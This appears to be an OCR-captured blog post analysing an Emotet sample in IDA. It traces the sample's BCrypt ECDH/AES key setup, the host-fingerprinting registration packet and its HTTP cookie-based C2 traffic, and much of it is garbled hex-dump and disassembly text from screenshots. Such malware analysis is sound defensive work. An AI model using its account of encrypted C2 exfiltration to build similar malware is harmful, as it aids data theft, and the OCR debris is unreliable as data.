98 2D 16 @3 88 @8 16 08
87 @0 0@ @@ DC EF 9F 00
30 AF D4 77 44 EF 9F 00
FE FF FF FF DB EE OF 08
#3 10 00 00 00 00 40 00
®0 00 11 63 00 00 11 03
33 2C 16 @3 20 @0 00 00
2F 80 @8 @0 2C D2 @8 03
71 1E 01 @0 8F @1 60 00
o0 00 00 00 00 00 00 00
@1 82 08 8@ AS 7A 88 03

(@) stack view c

AC ©3082FAD
0008195

@89FED28
3 BD1GFFSE
0@OFED2E  Stac
[POOFECCO @BOFED28  Stack[p@e@1D3@]:@@9FED2E
03163188 debugles
06861647

@6CEBB72 locale.n

0 00060000

u 00 16 00 00 00 10 16 03 0000000
33 F7 9F @0 00 20 00 00 8 86BD3CB1
E8 3E 16 83 80 18 16 03 . ©6025E1D
u ©0 16 16 @3 ES 3E 16 03 54 EF OF 00 54 EF 9F 00 ........T...T... @05EAD4.
[UMENGHI 03082FB1: ¥.d11:03082FB1 (Synchronized with SIP) ~ ||miiiom 005FED28: Stack([00001D301:005FED28 (Synchronized wish EDT) v | |owwEatonT 00SFECCO: Stack[00001D30]:00SFECC! (Synchronized wit

As shown in the screenshot above, It is trying to delete the ida file named: cdomcinc.xnj.id0. I might have to patch

the program to avoid deleting these files, otherwise it would corrupt my IDA database.
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I patched the bytes to call DeleteFileW API with Nop instructions and continued. It now skips all my important

files and move on.

Establishing Encryption Keys

Emotet uses Eliptic Curve Cryptography ECDH keys for establishing encryption keys. The generated ECDH

private key and embedded ECDH public key are used with the BCryptSecretAgreement function to generate a

shared secret between the malware and C2. The AES key is derived from the shared secret using the

BCryptDeriveKey function.

Debug View B @ Local Types
DA View-EIP O &8 x ||[@ rexview1 O 8 x ||[@ cenera registers r

X.d11:030778AD db 54h ; T ~|fsee 43 86 @9 o 5C B @1 @ C5 1C 06 @o 4 27 N ] [eax 77@85FFo @ berypt.d11:berypt_BCryptImportkeyPair
X.d11:030778AF db 1 510 @0 60 60 66 Db 1A 16 63 FO 1C 16 03 45 00 cox 0836ASSE o)
X.d11:0307788F db @ 520 A7 83 @5 90 B9 38 @1 @ 58 FB 9F @0 48 00
X.d11:03077880 ; 530 45 43 48 31 20 @0 €0 00 7@ C1 F1 F5 34 29 ECX 000F6610 6]
X.d11:03077888 add esp, 14h 540 F6 5B 52 AE 20 58 (8 FC 18 AS 58 E9 1A 6C £DX B4240000 ¢J
X.d11:03077883 push  dword ptr [ebp+aCh] 850 9D 66 D2 2F 69 BC 6E 4C 89 A7 @3 BC 38 C5 ESI 03161020 ¢J debug2e4:03161C20
X.d11:03677886 push  dword ptr [ebp+iCh] 550 6D 24 79 99 DS 8B 2B 1F AE 7D 9E 5C 32 3B £D1 869FFBS8 g Stack[00801030] :B09FFESE
X.d11:03077889 push  dword ptr [ebp+ish] 870 4C 36 3B (9 65 98 71 10 1E 6F @8 03 34 6F £ 009FF638 o Stack[00001030] - 0OSFFES
X.d11:0307786C push  dword ptr [ebp+ieh] 550 58 FB OF 00 €0 00 G0 00 DO F& 9F 00 39 ED
X.d11:638778BF push  esi 590 D9 AF OF 06 SA 3F 6B 08 BC AA 07 00 BB F2 E5P 0IFF4C ¢l Stack[00061030]:009FF64C
X.d11:030778C@ push @ 540 5B AS GA @@ E6 73 OF 0@ 5SE A4 04 00 24 42 £1p 838778C5 ¢ X.d11:038778C5
X.d11:036778C2 push  dword ptr [ebp+26h] 550 50 FB OF 00 58 FB OF 80 50 FB OF 00 66 EA EFL 80080202

30778C5 call  eax 80 (O FE OE 06 58 FB OF 6@ (3 SE 85 00 (B 58
X.d11:030778C7 pop esi 500 AA 89 31 04 69 B2 €5 03 (O FE OF 00 58 FB
X.d11:036775C5 mov esp, ebp 550 82 ES OF 06 A9 S5C 96 B2 9A 5B OF OA 82 ES
X.d11:038778CA pop ebp 870 @6 EA @9 00 2B AE @D 8@ 5C A9 04 @0 53 8D
X.d11:036778CB retn 960 10 D2 @6 6 CO FE OF B0 80 32 06 00 4C F9
X.d11:038778€8 ; - -~ |fe1e BB F2 F1 60 @0 o0 @0 oo o 6o 60 60 @D 12
X.d11:030775CC unk_3778CC db 55h ; U 5 CODE XREF: X.d11:03085E384p 920 50 FB 9F 00 4A C4 04 00 ES5 72 02 00 E9 63 [@] stack view 4
X.d11:636778D db 8Bk 930 @0 16 16 63 54 FB 9F 80 E9 CE 62 00 27 Al
X.d11:838778CE db @ECh 948 70 E@ 15 83 5C FB 9F 00 00 80 00 00 A9 11 LEIITUED
x.d11:030778CF db 83h 950 D& FB 9F @0 80 58 12 63 DD 87 OF 00 1A ED 90018280
X.d11:838778D8 db BECh 968 @5 6F 89 88 D4 FO @1 @@ F5 BF 02 60 7A 72 fiiEiEis
X.dll:e3077801 db 18h 270 D@ DF @D @@ @1 60 @0 @0 3D 70 08 00 80 82 ELIEIEE
X.d11:830778D2 db @FFh 956 93 89 6 80 AS 46 @B 6@ D3 75 @9 60 DC 27 [POFFOZE 80097503
X.d11:03877803 db 75h ; u 992 62 81 @@ 8¢ D1 DB @9 8@ @8 B7 @D 89 (5 61 [ i
X.d11:03977304 db 16h 948 BC 63 GE @0 E3 3F GA 60 EE 06 05 00 E1 AD feoge182
X.d11:838778D5 db @FFh 9B@ 44 11 @D 88 98 66 62 @@ D7 1E @7 8@ 6C 6A FiEziEL
X.d11:030778D6 db 75h ; u 902 F4 AC @C @9 AE 95 @D 80 D6 B7 @C @0 3F CE ELIIEED
X.d11:83077807 db @Ch 9Da 6D F8 @A 00 6B B7 ©9 80 44 78 05 @0 90 75 000C61CS
X.d11:03877808 db @FFh 9E@ 27 20 @4 @8 46 21 61 @@ 91 32 @8 8@ 95 6D PiiEEEL

Library function [ll Regular function il Instruction | Data | Unexplored = External symbol [l Lumina function
Debug View

[E] oA viewsP Hex View-1
X.d11:0308CEC mov. eax, dword_3@95208[esi*a] ~|[c5e A2 69 D7 58 4E 2€ @@ 1C 14 @@ @@ 0@ 52 55 55 55 E£AX 77086680 ¢ berypt. d11: berypt BCryptDeriveKey
X.d11:6308CEDB pop esi €56 F@ 1C 16 @3 B8 1C 16 63 6D FO AD BA AB AB AB AB £ox 03044420 o
X.d11:8388CED1 mov esp, ebp €76 AB AB AB AB EE FE EE FE 00 00 60 00 00 00 00 00

11:0308CED3 &by 82 A2 69 D7 58 4A 2E 0@ 18 18 @@ 60 08 59 4B 53 4D ECX 80676610 ol

ford €96 @7 @@ @3 €0 08 1E 16 @3 10 3E 16 03 03 00 00 00 EDX 3A6D8200 ¢l
X.d11:6308CED4 CAG AB AB AB AB AB AB AB AB 00 0O 60 0O 00 00 60 00 ESI 08000020 ¢J
X.d11:8388CED4 €86 AL 69 D7 5B 4A 2€ 00 18 [E] @0 43 00 41 60 32 06 D1 03161CB8 ¢l debug20s:03161C88
X.d11:0308CED4 5 ----------- ----—-—- |jcce 35 0@ 36 @0 @0 0@ 3E @ AB AB AB AB AB AB AB AB £8P 089FF4B4 ol Stack[000G1030] :0G9FF4BA
X.d11:0308CEDS db  83h DG B 60 0O @b 0O 00 0O B0 AS 69 DA SF 49 IE 60 0O
X.d11:8388CED6 db @ECh CEG 48 1C 16 03 (@ 00 11 83 B9 69 D7 43 4E 2E 08 18 ESP009FF47C ¢l Stack[00001030] :000FF47C
X.d11:8388CED7 db 44h ; D 80 @0 51 55 55 55 00 00 00 00 60 00 00 08 E1P 0308CED4 ol sub_368C0AD+127
X.d11:0308CEDE db @C7h 90 00 DE 1D 16 @3 ©0 00 00 00 04 00 00 00 . . EFL 00600216
X.d11:0308CEDS db 44h ; D 15 63 61 06 00 00 60 23 2D 77 40 48 2D 77 ........ d#-wiH-w
X.d11:0388CEDA db  24h ; § 2D 77 38 21 2D 77 FO 32 20 77 20 6A 2E 77 .@-w8!-w
X.d11:0308CEDB db 38h ; 8 2E 77 DB 38 2D 77 (@ 13 2D 77 88 38 2D 77 pl.w.
X.d11:0308CEDC db 5Dh ; ] 2D 77 96 45 2D 77 @1 60 06 00 30 1B 2F 77 ..-w.F-w
X.d11:0388CEDD db  99h 30 77 FB 1D 2F 77 36 12 30 77 BO 14 30 77 ..Gw....
X.d11:0308CEDE db  4ah 3 J 2€ 77 78 6C 2E 77 40 1B 30 77 E@ 19 30 77 -j.wpl.w@.ow...w
X.d11:0308CEDF db @ 30 77 40 17 30 77 50 16 30 77 50 EA 20 77 ...wQ.0wP.OwP. [@ stack view
X.d11:0308CEE6 db 33h ; 3 2E 77 86 11 2E 77 10 E3 36 77 78 60 00 00 ...w...w....x.
X.d11:@388CEE1 db @D2h 80 00 40 00 00 B0 S8 0D B0 00 20 6B 00 00 0SFF47C  @307C9C4  X.d11:6307C5C4
X.d11:8388CEE2 db 53h 5 S 00 @8 AC 08 08 B2 80 82 00 08 ©0 00 B0 00 1riTiilE
x.d11:@308CEE3 db 55h 5 U @0 00 00 00 00 00 ©0 0D 60 0O BO 00 0O 00 (G29FF434 00000053
X.d11:@388CEE4 db 56h ; V AB AB AB AB AB AB @@ 80 08 00 B0 00 80 08 88 54D1ESBE
X.d11:0308CEES db 57h 5 W D7 58 51 2E 60 1C 14 @@ 0@ 00 4C 41 53 4D
X.d11:0308CEE6 db 33h ; 3 ©3 @0 00 00 00 00 05 1E 16 03 AB AB AB AB
X.d11:6388CEE7 db OFFh AB AB EE FE EE FE 00 00 60 00 00 60 00 00 (09FF494 @3162BE0 debug2es5:03162l
X.d11:8388CEE8 db  88h D7 7D 4A 2E @0 1D 26 1E 16 63 3B 1F 16 63 (A
X.d11:8388CEE9 db @D9h 16 83 6E @6 69 89 73 0@ 74 00 50 08 32 00 pLEFEst GEIIEILL
X.d11:@308CEEA db  89h 36 00 @0 20 01 02 ©0 0 @1 00 00 00 @0 00 5.6........... pLiiE GLiTEEiT

I I

Library function Il Regular function Ml Instruction [ Data [ Unexplored | External symbol Ml Lumina function
Debug View [x] Local Types

T DA View£P 0 8 x ||[@ Hexview-t [#] General registers
X.d11:03@8CECY mov eax, dword_3e95208[esi*4] ~|pD92 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE £4X 77685040 gdl berypt . d11:berypt_BCryptInportKey
X.d11:0368CED8 pop esi [DAD EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE cox0ABD1E1S o
X.d11:03@8CEDL mov esp, ebp pDB9 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
X.d11:0308CED3 cby EE FE EE FE B9 69 D7 43 72 2E 00 18 EX 00076610 ¢J

-4 51 55 55 55 @8 00 60 00 00 @0 00 9O EDX 44480000 ¢J
X.d11:6368CEDA BS 2E 16 63 0B 06 00 0 O1 6O 00 60 £5163162000 ¢J debug265:63162006
X.d11:0308CED4 01 60 @0 @0 E@ AG 2 77 10 49 2D 77 £T @ES71E86 ol
x.d11:e308CEDa Do AB 2€ 77 CB JA 2E 77 50 9F 2E 77 cop ooarrace ol Stack[00001058] 10097 FACE
X.d11:8308CEDS 28 74 2€ 77 B@ 75 2E 77 80 DB 2F 77
X.d11:0308CEDG db QECh o1 @0 62 6@ 7@ @8 20 77 D@ eC 20 77 ER IR ) S IR EE
X.d11:6308CED7 db 44h ; D B@ 16 2F 77 B@ 2E 38 77 50 2E 3@ 77 E1p @308CED4 ¢l sub_308CDAD+127
X.d11:03¢8CEDS db 0C7h 77 90 @B 20 77 20 @D 20 77 80 16 2F 77 EFL 60000262
X.d11:6368CEDS db 44h ; D 77 61 60 60 06 96 1A 2F 77 70 FC 2F 77
X.d11:0308CEDA db 24h 5 § 77 F@ Fa 2F 77 88 FB 2F 77 20 F7 2F 77
x.d11:0305CEDB db 38h ; 8 77 90 62 30 77 A FD 2F 77 70 F6 2F 77
X.d11:0388CEDC db SDh ; ] 77 61 80 00 00 60 AA 2E 77 DB CF 2F 77
X.d11:03¢8CEDD db 99h 77 00 E 77 30 B3 2D 77 00 00 00 00
X.d11:0388CEDE db 4ah ; J AB AB AB AB AB 0@ 0O 00 60 00 00 0O 00
X.d11:03¢8CEDF db @ 56 51 2€ 00 15 25 20 0@ 00 41 53 53 4D
X.d11:6368CEE® db 33h ; 3 ©6 61 60 00 60 10 0 0O 60 10 60 0O 0O
X.d11:@3@8CEEL db @D2h 20 40 B2 00 00 0O 00 00 0 @O 00 0O 00 X.d11:@307CABA
X.d11:6368CEE2 db 53h ; S AB AB AB AB AB 0@ 08 0O 60 00 00 0O 0O
X.d11:0388CEE3 db 55h ; U 6 69 D7 C 44 2E 80 1E @O 0@ 0O 0 00 G0 00 00
x.d11:e308CEEa db S6h ; v 06 00 08 0@ 0O G0 GO GO 0O 0@ 0O 00 GO GO 00 B0
X.d11:0368CEES db 57h ; W ©6 00 0 00 6O 0O B0 B0 0O 0O 0O 0O B0 6O 00 B0
X.d11:0308CEE6 db 33h ; 3 02 00 00 00 €0 02 00 00 ©0 00 GO 00 00 00 00 °O
X.d11:8308CEE7 db @FFh 08 00 B0 00 90 0B G0 00 0O 0O 0D 80 00 40 00 8O0 debug205:03161CB8
X.d11:0308CEES db  8Bh 00 00 00 00 60 00 00 G0 0O 00 0O 0O 00 60 00 VO
X.d11:6368CEES db @DSh ©6 00 6B 06 60 0O 00 GO GO 0O 0O 0O 00 6D 00 B0
X.d11:0308CEEA db 89k 00 00 00 00 60 00 00 G0 @O 00 0O 0O 00 60 00 VO
x.d11:0308CEEB db 7Ch ; | 00 00 0 00 60 00 G0 GO ©O 0O GO 08 60 0O 00 B0
X.d11:0388CEEC db 24h ; § 0 06 0P G 0O 6O 0O B0 GO GO 0O 0O 0O B0 6O 00 B0
X.d11:03e5CEED db 4ch 5 L 2 0@ 00 02 00 96 P 00 GO 00 00 0O 9O °0 00 00 00 X.d11:0307998C
X.d11:8388CEEE db @BEh © @@ 0B @0 0B B0 0B 0O GG 0D GO 0B B 0O BO 0O 8O .. debug205:03161CB3
© snn st b mn o n Sm o Gn o s om T Gm Gn o S om o o o o 00

[UNENOWN 0305CED4: sub_30BCDADHLZ7 (Synchronized with EIB) v | [mvEont 03162000 debug205:03162000 (Synchronized with EDI) v | |owEtOMN 005FF454: Stack00001D30]:005FF45: (Synchronized
< < s e
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The trace of API calls for establishing these keys is as follows:

# APIs

1 BCryptGenerateKeyPair

2 BCryptFinalizeKeyPair

3 BCryptExportKey

4 BCryptImportKeyPair

5 BCryptSecretAgreement

6 BCryptOpenAlgorithmProvider
7 BCryptDeriveKey

8 BCryptGetProperty

9 BCryptImportKey

10 BCryptCloseAlgorithmProvider
11 BCryptDestroySecret

12 BCryptDestroyKey

13 BCryptDestroyKey

14 BCryptCloseAlgorithmProvider

Crafting 1st Request Packet

Emotet crafts 1st request for registering the bot to c2 server by combining the host data that it discovered and

encoding/encrypting the data with derived encryption keys and sending over http.

It gathers desktop name and hash of mac address
o It gathers the path of windows

o [t gathers the information of volumes

Appends all these together while sepearting the string with ” ; “ after each element. The string is then encoded and

encrypted as follows:

# APIs
1 BCryptOpenAlgorithmProvider
2 BCryptGetProperty
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# APIs

3 BCryptCreateHash

4 BCryptHashData

5 BCryptFinishHash

6 BCryptDestroyHash

7 BCryptCloseAlgorithmProvider
8 BCryptEncrypt

9 BCryptEncrypt

10 CryptBinaryToStringW

11 CryptBinaryToStringW

Debug View a Local Types
£ 1DA View-EIP B & x ||[@ Hexview1 [®] General registers
¥7F066 db @DDh ~|fce ee oo oo oo oo 0o 6o 6o 6o 6 e 6o 06 00 00 60 .. 4 77087048 ¢l berypt.d11: berypt_BCryptHashbata
wFe67 db @ D2 @0 00 90 00 00 00 00 60 00 00 00 0 00 00 00 60 .. cox 00024505 ¢
7F0es db 6 0 ©D 60 60 0P 0D 0O G0 0O AB AB AB AB AB AB AB AB ..
y7FO69 ; - FO ©0 00 60 B0 0O 0O BO @0 AE 69 D7 54 4F 2C 80 1C .. .0, 000076610 ¢
17FR69 add esp, 14h 20 18 00 @0 @@ 44 45 53 4B 54 4F 50 58 30 3@ 32 49 ... .DESKTOPX@@2I EDX 7F3D8000 ¢J
7FOEC push  esi 16 48 4F 4E 5F 31 34 44 35 HON_14D586D2..9- | | |Es1 ©0000000 o
J7FOED push  edi 20 AA 65 34 01 16 27 00 60 2% =01 00000034 o)
Y7FOGE push  dword ptr [ebp+lsh] 32 00 00 00 00 AB AB AB AB £8P 089FF480 ol Stack[0081036]: 0B9FF450
377071 push  dword ptr [ebp+lah] 46 00 @0 0O 60 00 0D 6O 6O
17Fe7s call  cax S OE BB 5 G5 G 69 T o ESP 009FF455 ¢ Stack[00001D30]: 0e9FF45E
17FG76 pop edi 50 90 90 90 08 08 00 00 G0 EIP 8367F074 ¢ X.d11:@307F074
¥7F877 pop esi 70 06 60 00 60 0O 00 00 6O EFL 08066202
¥7F78 mov esp, ebp 50 70 11 16 83 0 00 00 60
¥7FO7A pop ebp 92 7@ 11 16 @3 00 0 00 60
Y7F7B retn A6 AB AB AB AB 00 00 60 6O
y7Fa78 ; - 80 B7 69 D7 4D 47 2E 86 1C
¥7F7C unk_307F@7C db 55h ; U 5 CODE XREF: Flatten_func+l69Eip Co 00 00 00 00 00 20 00 60
377670 db  8Bh Do 06 60 00 60 0O 00 0 6O
¥7F7E db BECh 0 90 8 00 60 78 C1 F1 F5 34 29 DS 4F F6 5B 52 AE [@] stack view
y7Fe7F db 83h Fo 20 50 C FC 18 AS 58 E9 1A @C (8 7E 9D 66 D2 2F
y7Fe80 db BECh @2 69 BC OF 4C 89 A7 03 BC 3B C5 EO 4B 6D 24 79 99 @0OOE176
17F81 db 58h 5 X 10 D8 8B 2B 1F AE 7D 9E 8C 32 3B 34 49 4C 36 38 (9 CIIERE
y7Fe82 db 53h ;5 S 20 65 95 71 10 @@ 00 90 @0 CO 31 16 03 00 00 00 0 EEEIRIET
37Fe83 db 56h ; V 30 0D 00 O ©0 AB AB AB AB AB AB AB AB 00 00 00 00 @0871CAF
17Fa84 db 57h 5 W 40 ©0 00 60 BB 0 0B 8@ @0 AG 69 D4 59 S5F 2F 8@ 60 Lriiiizd
y7Fe85 db  3Bh 50 ES 6F 12 03 60 4D 11 @3 EE FE EE FE EE FE EE FE 03893744 X.d11:03093744
377086 db 3Dh ; = 60 EE FE EE FE EE FE EE FE AB 69 D7 51 48 2E €0 18 @0B4EQE7
17F887 db @FCh 70 00 90 0@ 63 0B 00 B0 6@ B 0B 0B 60 01 00 00 60 LIINERTF
17F088 db 61h 5 a 50 ©0 00 G0 00 EG 11 16 ©3 00 @0 G0 00 00 00 90 G0 ipnEw
y7Fess db 9 90 @0 60 60 60 0O 00 0D 60 00 0D 60 60 0O 0O 00 00 03163810 debug2e5:03163810
17Fe8A db 3 47 @9 @0 00 00 BB 01 B0 G0 @0 0B 0@ 60 00 00 00 00 83161680 debug205: 63161000
wFare dh 33k : 3 B 3R AR 31 AR OF 0 30 AR OF AR 37 AA 33 A 36 AR 8008324

Library function [ll Regular function [ll Instruction | Data [l Unexplored = External symbol [l Lumina function

Debug View [x] Local Types
DA View-EIP 0 & x ||[@ Hexview1 [ General registers
03692655 db OAGh ~|[p5163202 @D Fo AD BA 0D F AD BA 0D F@ AD BA @D FG AD BA . % 77085308 ¢ berypt.d11:berypt BCrypEERcrypE
03092686 db OFFh 6 ©D F AD BA OD FO AD BA ©D FG AD BA @D FO AD BA Tz

@ ©D FB AD BA AB AB AB AB AB AB AB AB EE FE EE FE

83692687 db @FFh
- ECX 000r6610 ¢

63092688 ; - 63163300 @8 60 00 @B 00 GG B0 8O AB 69 D7 51 52 2E @@ 18
83092688 add esp, 14h 3163318 B0 00 0B 20 BO B0 A8 B2 A3 DB (5 4A 48 9E 37 EDX 8A786000 ¢J

83092688 push  dword ptr [ebp+20h] 83163328 ESI 83163310 ¢ debug2e5:03163310
0309268 push  dword ptr [ebp+ach] 63163330 e £01 B@0e0eee ol

930926C1 push  dword ptr [ebp+28h] 63163348 DESKTOPX@@2THON_ £8P 009FF540 g Stack[G00G103] :083FF54
930926Ca push  dword ptr [ebp+lsh] 63163350 14D58602.. 9 .e4.

03092607 push  dwerd ptr [ebpiian] e i o ESP 809FF4F4 g Stack[08001030] :089FFAFA
830926CA push edi 83163370 EIP 83092603 ¢ X.d11:830926D3

©36926C8 push  edi 63163350 AB 69 D4 59 43 2E 80 60 56 11 16 63 60 4D 11 63 EFL 80000202

630926CC push  dword ptr [ebp+34h] 63163390 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE

B30926CF push  esi 63163340 B9 69 D7 43 48 2E @0 18 DO 8 @0 08 51 55 55 55

63092608 push  dword ptr [ebp+3Ch] 63163350 @8 60 00 @0 00 GG 00 60 01 6O G0 066 90 34 16 63

63092603 call  eax 631633C @8 60 00 @B 05 66 B0 60 FO 59 15 63 B1 60 6 60 L

03092605 pop edi 3163308 7@ @B 2D 77 D@ @C 2D 77 50 @B 2D 77 BO 16 2F 77 P.-W..-WP.-W../w

93092605 poj esi 2E 30 77 4@ 15 2F 77 99 05 20 77 ..OWP.@w@./W..-w

93092607 moy 16 2F 77 ©@ 0D 20 77 @1 B0 00 08 . -W../W..-W.... [@] Stack view

FC 2F 77 60 1E 2F 77 F@ F4 2F 77 ../wp./w ./w....
F7 2F 77 B0 @1 30 77 90 82 30 77 ../ Lo, .ow 0OFFAFA  83162FR  debug2@5:@83162F00
83163318 debug265:03163310

S85AESEE8ILIBLEREER
a
™

©30926DA 5 -- --- |l=163420 A@ FD 2F 77 7@ F6 2F 77 7@ F5 2F 77 01 00 00 @0
93092606 unk_38926DB db 55h ; U ; CODE XREF: X.d11:03@813@3tp 93163430 6@ AA 2E 77 Fe Do 2F 77 @@ AA 2E 77 00000060

836926DB ; X.d11:838338DB1p 83163448 30 B3 2D 77 85 2E 77 (O AF 2E 77 AD C2 2D 77 20000000

©369260C db  8Bh 03163450 66 00 00 GO 0O 60 0B 60 00 00 6O 60 0B 60 00 60 6000000

63892600 db BECh 3163460 @6 8@ B0 @O 6O 60 @G 60 00 G0 @0 60 B0 60 0O 60 FrEiany

©38926DE db 83h 3163470 @8 BB B0 @O 0O G0 @G B AB AB AB AB AB AB AB AB S

©38926DF db BECh 3163450 @6 8@ B0 @0 0O 66 @G 88 A2 69 D7 58 51 2E 8@ 1C fiiaiiiy

369266 db  16h 3163498 14 @@ 88 @@ 4C 41 53 4D 04 @0 @3 60 00 80 00 00 Stack[80061030] : 889|
830926E1 db  56h ; V 6316342 (B 34 16 @3 AB AB AB AB AB AB AB AB EE FE EE FE

0309262 db BFFh 3163450 06 @@ 0@ @0 0@ 68 @0 88 87 69 D7 7D 4A 2E 0@ 1D Stack[00001030] : 009
@3¢926E3 db  75h ; u €31634C0 DE 34 16 @3 E@ 1A 16 @3 CC 34 16 @3 6E 00 69 00

e3¢o26Ea db & 3163400 73 @@ 74 €0 50 0 32 @0 35 00 36 00 00 00 0L @0 s.t.P.2.5.6..

636926E5 db  8Bh G31634E0 0B G0 01 G0 00 06 00 00 00 00 20 00 0O 00 20 60 290

AARBAE

C2 Communication Over http
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This sample of emotet uses wininet APIs for sending malicious requests and getting response. It uses GET and
POST requests with data being sent in a cookie header. For larger data it uses POST requests otherwise it mainly
uses GET requests. I have setup a netcat listener on my Remnux box to recieve the request even though it can’t

decrypt and display the data.

The URI is randomly generated and data is encrypted in the Cookie header (a POST request is used for larger
amounts of data). The Cookie header contains a randomly generated key name and base64 encoded key value.

Once decoded, the key value contains:

e generated ECDH public key
e AES encrypted request data
e Random bytes

The AES key used to encrypt request data is generated via the following method:

e The generated ECDH private key and embedded ECDH public key are used with the
BCryptSecretAgreement function to generate a shared secret between the malware and C2
o The AES key is derived from the shared secret using the BCryptDeriveKey function

From https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis

# APIs

1 InternetOpenW

2 InternetConnectW

3 HttpOpenRequestW

4 InternetSetOptionW

5 InternetQueryOptionW
6 InternetSetOptionW

7 HttpSendRequestW

Debug View [x] Local Types

A View-EIP 0 & x ||[@ HexView1 [ General registers

X.d11:03078807 db 5@ 81 F7 @5 64 B@ 57 39 2C F& 47 F5 55 A6 &1 39

D 95 E4 6F B2 DF C1 CA E@ 8@ 62 63 7C B2 97 D8

Eax 74833C30 gl wininet.d1l:wininet_InternetOpenid
EBX 00000000 ¢l

ECX 000F6610 ¢l

EDX 7A480000 ¢l

EST 00000000 ¢l

EDI eesAees9 ¢l

EBP 009FF584 gl Stack[0060103¢] :009FF5EL.

Esp 009FF5se g Stack[80601036] :0a9FF550

EIP 23078867 @l X.d11:0307B8E7

EFL 06000202

DC 58 57 D6 B1 BB E2 ES EG 4F AB AB AB AB AB AB
AB AB 60 80 00 00 0D 60 00 B0 00 00 00 00 00 0O
CB 69 D4 32 50 2€ 00 00 P 25 16 03 1 33 16 03 ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE
E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..

367850C db

X.d11:8307B8DD 3 - -
X.d11:0367880D add esp, 14h

%.d11:6367B8E0 push  esi

%.d11:6367B8E1 push  esi

X.d11:0367B8E2 push  esi

X.d11:636788€3 push  dword ptr [ebp+18h]

X.d11:036788E6 push  esi

X.d11:030788E7 call  eax

%.d11:6387B8E9 pop esi

X.d11:6367B8EA mov esp, ebp

X.d11:8387B8EC pop ebp E FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ..

X.d11:8387B3ED retn A48 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE .euueecenaneenns
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S Iy LT 1L 1 V1117 A A R ARRVIRINVI AR WO RVR AR

Library function Ml Reguiar function [l Instruction [ Data [ Unexplored | External symbol Bl Lumina function

Debug View a Local Types

DA View-EIP a8 x Hex View-1 [ General registers |8 x
X.d11 db eDah " A7 61 D7 55 6F 2 00 16 43 00 6F 00 6r €0 65 €0 £ 74865900 ¢ wininet dll:wininet HetpSendRequesth o e
X.d11: db 69 00 65 00 JA 08 20 00 GE 08 44 89 3D G0 63 06 £6x 00000000 oJ viP @
X.d11 db 4D 00 48 @0 75 00 39 00 54 00 51 00 70 00 31 00 VIF @
X.d11 - 55 08 2F B0 32 00 57 00 31 00 4B 00 75 00 49 00 ECX 8006610 ) e
X.d11 add 46 80 44 @0 49 o0 2F 00 [[B] 00 69 8@ 6C @0 57 00 EDX 801F2000 ¢J w e
X.d11:0308F34F push i 4F 0 65 60 61 00 44 B0 4D 00 G5 00 2B 80 GE 00 £51 00000000 ¢ R @
X.d11:0308F350 push  dword ptr [ebp+20h] 57 00 62 00 53 00 4C 00 32 0 ED 0O 4D 0O 44 0O £01 e0cCo00C ¢ Locale.nls :6ACCAOAC N o
X.d11:0308F353 push  OFFFFFFFFh 6B 00 79 00 4A 00 70 00 77 00 4F 0 35 0 4F 00 30] TorLE
X.d11:0388F355 push  dword ptr [cbp+iCh] 38 09 58 00 67 08 53 00 32 00 30 89 6B 60 65 06 or @
X.d11:0388F358 push i SA B0 6E B0 SO 0O 6O B0 79 D 73 GO 66 B0 72 0O £sp 009FF53C ¢l stack 1 DF o

B | x.d11:0368F359 call  eax 6E B0 32 60 65 00 6A 00 44 80 49 00 37 80 4E 00 E1P 03057359 ¢l x.d11:03087350 o1

X.d11:0308F358 pop  edi 45 B9 6C 6@ 4D GO 4E 00 6A B0 76 0O 4A G0 SA 00 £5L 00000216 T e
X.d11:0308F35C pop  esi 5A 00 63 00 75 00 45 00 4F 0 67 0 55 60 49 00 LY
X.d11:0388F350 mov  esp, cbp 76 00 45 00 48 00 71 00 4E 08 6D 89 65 60 34 06 * o
X.d11:0308F35F pop  ebp 36 00 77 00 37 00 57 00 56 00 65 00 44 80 7A 00 aF 1
X.d11:0308F368 retn 30 00 77 00 56 00 74 00 34 00 44 60 30 00 78 00 Pr 1
P TGS oo I, ' 75 00 33 00 35 00 35 00 4B 6 4D 6O 48 6O 70 0O ¢ e
X ; CODE XREF: Flatten_funct 5100 30 00 79 00 25 00 6D 00 37 00 44 60 44 00
X 42 89 45 89 54 00 64 00 69 00 4C €0 45 00 4C 00
x 4A ©0 34 80 65 0 66 00 41 B0 4A 08 31 00 72 60 @ stack view o0& x
X 4F 0 46 00 33 00 35 00 2B 00 59 6P 42 80 6B 00
X 74 60 5C 0 51 00 A 00 43 0 7 02 54 00 6A 0B oeccose locale nls D
X 3100 72 0 79 00 54 00 4E 08 6F 0 75 060 72 00 ETEED TCllEED
X 43 60 32 00 32 00 72 00 6D 00 GB 00 7A 00 56 0O L)
X 36 00 73 00 61 00 42 00 64 00 50 00 49 0 45 00 ZLEEDD
X 76 08 76 00 4A 00 41 00 30 08 4A G0 42 80 78 00 SED
X 66 00 64 80 50 00 63 00 49 63 73 6@ 32 6O 50 0O TLEEED
X 37 00 75 00 51 00 67 00 66 00 63 0 46 00 SA 00 ostces
X 4C 60 42 00 58 00 4F 00 53 00 7A 00 34 00 52 0O 93163FaH
X 2F 00 56 00 56 00 70 00 6F 00 45 0 35 00 2F 00 LD
X SA 62 58 B0 GB @0 62 B¢ 37 0 4C 00 66 @0 77 0 SR o
X 63 0@ 72 @0 67 @0 41 00 47 00 AA 0 6A @0 66 60 SETOIEAR  debup278-RET
X 4€ 60 45 00 58 00 32 00 4E 00 78 60 59 80 56 00 ognon00D
